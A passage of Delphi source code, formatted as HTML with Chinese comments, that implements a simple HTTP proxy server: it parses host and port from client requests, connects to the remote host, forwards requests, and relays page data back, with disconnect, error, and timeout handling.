delete(line,1,j);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; port:=strtoint(line);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; except<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; port:=80;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; host:=trim(line);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {获取主机地址}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; port:=80;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not session[i-1].remote_connected then&nbsp; {假如远征尚未连接}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Request:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {置请求数据就绪标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.host:=host;&nbsp; {设置远程主机地址}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.port:=port;&nbsp;&nbsp;&nbsp;&nbsp; {设置端口}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.active:=true;&nbsp;&nbsp; {连接远程主机}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Lookingup:=true;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {置标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].LookupTime:=0;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {从0开始计时}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {假如远程已连接，直接发送请求}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.socket.sendtext(session[i-1].request_str);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {停止扫描请求文本}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; j:=pos(char(13)+char(10),tmp);&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {指向下一行}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {停止循环}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>end;</P>
<P>//当连接远程主机成功时…<BR>procedure TForm1.ClientSocket1Connect(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket);<BR>var<BR>i: integer;<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (session[i-1].CSocket.socket.sockethandle=socket.SocketHandle) and session[i-1].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.tag:=socket.SocketHandle;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].remote_connected:=true;&nbsp;&nbsp; {置远程主机已连通标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Lookingup:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {清标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>end;</P>
<P><BR>//当远程主机断开时…<BR>procedure TForm1.ClientSocket1Disconnect(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket);<BR>var<BR>i,j,k: integer;<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].remote_connected:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {置为未连接}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not session[i-1].client_connected then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Used:=false&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {假如客户机已断开，则置释放资源标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for k:=1 to serversocket1.Socket.ActiveConnections do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and session[i-1].used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serversocket1.Socket.Connections[k-1].Close;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; j:=sessions;<BR>&nbsp;&nbsp; k:=0;<BR>&nbsp;&nbsp; for i:=1 to j do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[j-i].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(k);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; if k&gt;0 then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {修正会话数组}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sessions:=sessions-k;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(session,sessions);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; edit1.text:=inttostr(sessions);<BR>end;</P>
<P>//当与远程主机通信发生错误时…<BR>procedure TForm1.ClientSocket1Error(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;<BR>&nbsp; var ErrorCode: Integer);<BR>var<BR>i,j,k: integer;<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; socket.close;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].remote_connected:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {置为未连接}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if not session[i-1].client_connected then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Used:=false&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {假如客户机已断开，则置释放资源标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for k:=1 to serversocket1.Socket.ActiveConnections do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (serversocket1.Socket.Connections[k-1].SocketHandle=session[i-1].SS_Handle) and session[i-1].used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serversocket1.Socket.Connections[k-1].Close;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; j:=sessions;<BR>&nbsp;&nbsp; k:=0;<BR>&nbsp;&nbsp; for i:=1 to j do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[j-i].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(k);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; errorcode:=0;<BR>&nbsp;&nbsp; if k&gt;0 then&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {修正会话数组}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sessions:=sessions-k;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; setlength(session,sessions);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp; edit1.text:=inttostr(sessions);<BR>end;</P>
<P>//向远程主机发送页面请求…<BR>procedure TForm1.ClientSocket1Write(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket);<BR>var<BR>i: integer;<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[i-1].Request then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; socket.SendText(session[i-1].request_str);&nbsp;&nbsp; {假如有请求，发送}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Request:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {清标志}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>end;</P>
<P>//远程主机发来页面数据时…<BR>procedure TForm1.ClientSocket1Read(Sender: TObject;<BR>&nbsp; Socket: TCustomWinSocket);<BR>var<BR>i,j: integer;<BR>rec_bytes: integer;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {传回的数据块长度}<BR>rec_Buffer: array[0..2047] of char;&nbsp; {传回的数据块缓冲区}<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (session[i-1].CSocket.tag=socket.SocketHandle) and session[i-1].Used then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; rec_bytes:=socket.ReceiveBuf(rec_buffer,2048);&nbsp;&nbsp;&nbsp; {接收数据}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j:=1 to serversocket1.Socket.ActiveConnections do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if serversocket1.Socket.Connections[j-1].SocketHandle=session[i-1].SS_Handle then<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; serversocket1.Socket.Connections[j-1].SendBuf(rec_buffer,rec_bytes);&nbsp; {发送数据}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; break;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; end;<BR>end;</P>
<P>//"页面找不到"等错误信息出现时…<BR>procedure TForm1.AppException(Sender: TObject; E: Exception);<BR>begin<BR>&nbsp; inc(invalidrequests);<BR>end;</P>
<P>//查找远程主机定时…<BR>procedure TForm1.Timer1Timer(Sender: TObject);<BR>var<BR>i,j: integer;<BR>begin<BR>&nbsp;&nbsp; for i:=1 to sessions do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[i-1].Used and session[i-1].Lookingup then&nbsp;&nbsp;&nbsp; {假如正在连接}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; inc(session[i-1].LookupTime);<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if session[i-1].LookupTime&gt;lookuptimeout then&nbsp;&nbsp;&nbsp;&nbsp; {假如超时}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; begin<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].Lookingup:=false;<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; session[i-1].CSocket.active:=false;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {停止查找}<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for j:=1 to serversocket1.Socket.ActiveConnections do<BR>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if 